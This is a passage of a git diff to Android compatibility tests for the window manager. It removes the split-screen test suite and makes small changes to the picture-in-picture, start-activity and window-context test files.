+            final PictureInPictureParams params = info.getPictureInPictureParams();
+
+            assertEquals(expected, params.isSeamlessResizeEnabled());
+        });
+    }
+
     private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
         runWithShellPermission(() -> {
             final ActivityTask task = mWmState.getTaskByActivity(componentName);
@@ -1282,6 +1270,12 @@
         });
     }
 
+    private void enterPipAndAssertPinnedTaskExists(ComponentName activityName) {
+        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+        waitForEnterPip(activityName);
+        assertPinnedStackExists();
+    }
+
     /** Get app bounds in last applied configuration. */
     private Rect getAppBounds(ComponentName activityName) {
         final Configuration config = TestJournalContainer.get(activityName).extras
@@ -1551,17 +1545,10 @@
      *       if the stack is focused.
      */
     private void pinnedStackTester(String startActivityCmd, ComponentName startActivity,
-            ComponentName topActivityName, boolean moveTopToPinnedStack, boolean isFocusable) {
+            ComponentName topActivityName, boolean isFocusable) {
         executeShellCommand(startActivityCmd);
         mWmState.waitForValidState(startActivity);
 
-        if (moveTopToPinnedStack) {
-            final int stackId = mWmState.getStackIdByActivity(topActivityName);
-
-            assertNotEquals(stackId, INVALID_STACK_ID);
-            moveTopActivityToPinnedRootTask(stackId);
-        }
-
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(topActivityName)
                 .setWindowingMode(WINDOWING_MODE_PINNED)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
deleted file mode 100644
index cca0beb..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ /dev/null
@@ -1,595 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
-import static android.server.wm.app.Components.DOCKED_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
-import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
-import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
-import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
-import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_180;
-import static android.view.Surface.ROTATION_270;
-import static android.view.Surface.ROTATION_90;
-
-import static org.hamcrest.Matchers.lessThan;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ComponentName;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.CommandSession.ActivityCallback;
-
-import androidx.test.filters.FlakyTest;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:SplitScreenTests
- */
-@Presubmit
-@android.server.wm.annotation.Group2
-public class SplitScreenTests extends ActivityManagerTestBase {
-
-    private static final int TASK_SIZE = 600;
-    private static final int STACK_SIZE = 300;
-
-    private boolean mIsHomeRecentsComponent;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
-
-        assumeTrue("Skipping test: no split multi-window support",
-                supportsSplitScreenMultiWindow());
-    }
-
-    @Test
-    public void testMinimumDeviceSize() throws Exception {
-        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
-                "Devices supporting multi-window must be larger than the default minimum"
-                        + " task size");
-        mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
-                "Devices supporting split-screen multi-window must be larger than the"
-                        + " default minimum display size.");
-    }
-
-
-// TODO: Add test to make sure you can't register to split-windowing mode organization if test
-//  doesn't support it.
-
-
-    @Test
-    public void testStackList() throws Exception {
-        launchActivity(TEST_ACTIVITY);
-        mWmState.computeState(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain standard stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testDockActivity() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableNotDocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
-
-        mWmState.assertContainsStack("Must contain home stack.",
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenPrimary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testNonResizeableWhenAlreadyInSplitScreenSecondary() throws Exception {
-        launchActivityInSplitScreenWithRecents(SDK_27_LAUNCHING_ACTIVITY);
-        // Launch home so secondary side as focus.
-        launchHomeActivity();
-        launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_UNDEFINED);
-
-        mWmState.assertDoesNotContainStack("Must not contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFrontStack("Fullscreen stack must be front stack.",
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-
-        waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
-                "NON_RESIZEABLE_ACTIVITY launched on default display must be focused");
-    }
-
-    @Test
-    public void testLaunchToSide() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        int displayWindowingMode = mWmState.getDisplay(
-                mWmState.getDisplayByActivity(TEST_ACTIVITY)).getWindowingMode();
-        separateTestJournal();
-        mTaskOrganizer.dismissedSplitScreen();
-        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-            // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
-            final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
-                    NO_RELAUNCH_ACTIVITY);
-            assertEquals(1,
-                    lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        } else {
-            // Display is not a fullscreen display, so there won't be a multi-window callback.
-            // Instead just verify that windows are not in split-screen anymore.
-            waitForIdle();
-            mWmState.computeState();
-            mWmState.assertDoesNotContainStack("Must have exited split-screen",
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        }
-    }
-
-    @Test
-    public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
-        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Move to docked stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        ActivityLifecycleCounts lifecycleCounts =
-                waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        // Move activity back to fullscreen stack.
-        separateTestJournal();
-        setActivityTaskWindowingMode(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        lifecycleCounts = waitForOnMultiWindowModeChanged(NO_RELAUNCH_ACTIVITY);
-        assertEquals("mMultiWindowModeChangedCount",
-                1, lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
-        assertEquals("mUserLeaveHintCount",
-                0, lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
-    }
-
-    @Test
-    public void testLaunchToSideAndBringToFront() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-
-        // Launch another activity to side to cover first one.
-        launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        int taskNumberCovered = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Fullscreen stack must have one task added.",
-                taskNumberInitial + 1, taskNumberCovered);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                NO_RELAUNCH_ACTIVITY);
-
-        // Launch activity that was first launched to side. It should be brought to front.
-        getLaunchActivityBuilder()
-                .setTargetActivity(TEST_ACTIVITY)
-                .setToSide(true)
-                .setWaitForLaunched(true)
-                .execute();
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number in fullscreen stack must remain the same.",
-                taskNumberCovered, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testLaunchToSideMultiple() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mWmState.computeState(TEST_ACTIVITY, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must remain in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideSingleInstance() throws Exception {
-        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideSingleTask() throws Exception {
-        launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
-        launchTargetToSide(TEST_ACTIVITY, true);
-    }
-
-    private void launchTargetToSide(ComponentName targetActivityName,
-            boolean taskCountMustIncrement) throws Exception {
-        // Launch in fullscreen first
-        getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-
-        // Move to split-screen primary
-        final int taskId = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId, true /* showSideActivity */);
-
-        // Launch target to side
-        final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
-                .setTargetActivity(targetActivityName)
-                .setToSide(true)
-                .setRandomData(true)
-                .setMultipleTask(false);
-        targetActivityLauncher.execute();
-
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        mWmState.assertContainsStack("Must contain secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different data.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberSecondLaunch = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                    taskNumberSecondLaunch);
-        } else {
-            assertEquals("Task number must not change.", taskNumberInitial,
-                    taskNumberSecondLaunch);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again with different random data. Note that null
-        // cannot be used here, since the first instance of TestActivity is launched with no data
-        // in order to launch into split screen.
-        targetActivityLauncher.execute();
-        mWmState.computeState(targetActivityName, LAUNCHING_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        if (taskCountMustIncrement) {
-            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
-                    taskNumberFinal);
-        } else {
-            assertEquals("Task number must not change.", taskNumberSecondLaunch,
-                    taskNumberFinal);
-        }
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testLaunchToSideMultipleWithFlag() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        int taskNumberInitial = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-
-        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
-        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        int taskNumberFinal = mWmState.getStandardTaskCountByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-        assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                taskNumberFinal);
-        mWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY);
-        assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mWmState.getTaskByActivity(
-                        TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
-    }
-
-    @Test
-    public void testRotationWhenDocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds.
-        final RotationSession rotationSession = createManagedRotationSession();
-        for (int i = 0; i < 4; i++) {
-            rotationSession.set(i);
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
-        // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
-        rotationSession.set(ROTATION_90);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_270);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_180);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testRotationWhenDockedWhileLocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertValidity();
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        final RotationSession rotationSession = createManagedRotationSession();
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        for (int i = 0; i < 4; i++) {
-            lockScreenSession.sleepDevice();
-            // The display may not be rotated while device is locked.
-            rotationSession.set(i, false /* waitDeviceRotation */);
-            lockScreenSession.wakeUpDevice()
-                    .unlockDevice();
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-    }
-
-    /**
-     * Verify split screen mode visibility after stack resize occurs.
-     */
-    @Test
-    public void testResizePrimarySplitScreen() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
-        resizePrimarySplitScreen(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
-        mWmState.computeState(
-                new WaitForValidActivityState(TEST_ACTIVITY),
-                new WaitForValidActivityState(DOCKED_ACTIVITY));
-        mWmState.assertContainsStack("Must contain secondary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain primary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(DOCKED_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        int restoreW = restoreDockBounds.width();
-        int restoreH = restoreDockBounds.height();
-        resizePrimarySplitScreen(restoreW, restoreH, restoreW, restoreH);
-    }
-
-    @Test
-    public void testSameProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
-
-        assertEquals("There must be only one resumed activity in the package.", 1,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDifferentProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
-
-        assertEquals("There must be only two resumed activities in the package.", 2,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDisallowEnterSplitscreenWhenInLockedTask() throws Exception {
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        WindowManagerState.ActivityTask task =
-                mWmState.getStandardRootTaskByWindowingMode(
-                        WINDOWING_MODE_FULLSCREEN).getTopTask();
-
-        // Lock the task and ensure that we can't enter split screen
-        try {
-            runWithShellPermission(() -> {
-                mAtm.startSystemLockTaskMode(task.mTaskId);
-            });
-            waitForOrFail("Task in lock mode", () -> {
-                return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
-            });
-
-            assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
-        } finally {
-            runWithShellPermission(() -> {
-                mAtm.stopSystemLockTaskMode();
-            });
-        }
-    }
-
-    private Rect computeNewDockBounds(
-            Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
-        final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
-        // We are either increasing size or reducing it.
-        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
-        final Rect newBounds = new Rect(dockBounds);
-        if (inLandscape) {
-            // In landscape we change the width.
-            newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
-        } else {
-            // In portrait we change the height
-            newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
-        }
-
-        return newBounds;
-    }
-
-    @Test
-    public void testStackListOrderLaunchDockedActivity() throws Exception {
-        assumeTrue(!mIsHomeRecentsComponent);
-
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-
-        final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
-        final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
-        assertThat("Recents stack should be on top of home stack",
-                recentsStackIndex, lessThan(homeStackIndex));
-    }
-
-
-    /**
-     * Asserts that the activity is visible when the top opaque activity finishes and with another
-     * translucent activity on top while in split-screen-secondary task.
-     */
-    @Test
-    public void testVisibilityWithTranslucentAndTopFinishingActivity() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
-
-        // Launch two more activities on a different task on top of split-screen-secondary and
-        // only the top opaque activity should be visible.
-        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
-
-        // Finish the top opaque activity and both the two activities should be visible.
-        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
-        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 3b13505..cd9e38c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -59,6 +59,9 @@
 
     @Test
     public void testStartHomeIfNoActivities() {
+        if (!hasHomeScreen()) {
+            return;
+        }
         final ComponentName defaultHome = getDefaultHomeComponent();
         final int[] allActivityTypes = Arrays.copyOf(ALL_ACTIVITY_TYPE_BUT_HOME,
                 ALL_ACTIVITY_TYPE_BUT_HOME.length + 1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index a115396..96a78cc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -19,7 +19,10 @@
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
+import android.content.Context;
+import android.hardware.display.DisplayManager;
 import android.platform.test.annotations.Presubmit;
+import android.view.Display;
 
 import org.junit.Test;
 
@@ -37,6 +40,20 @@
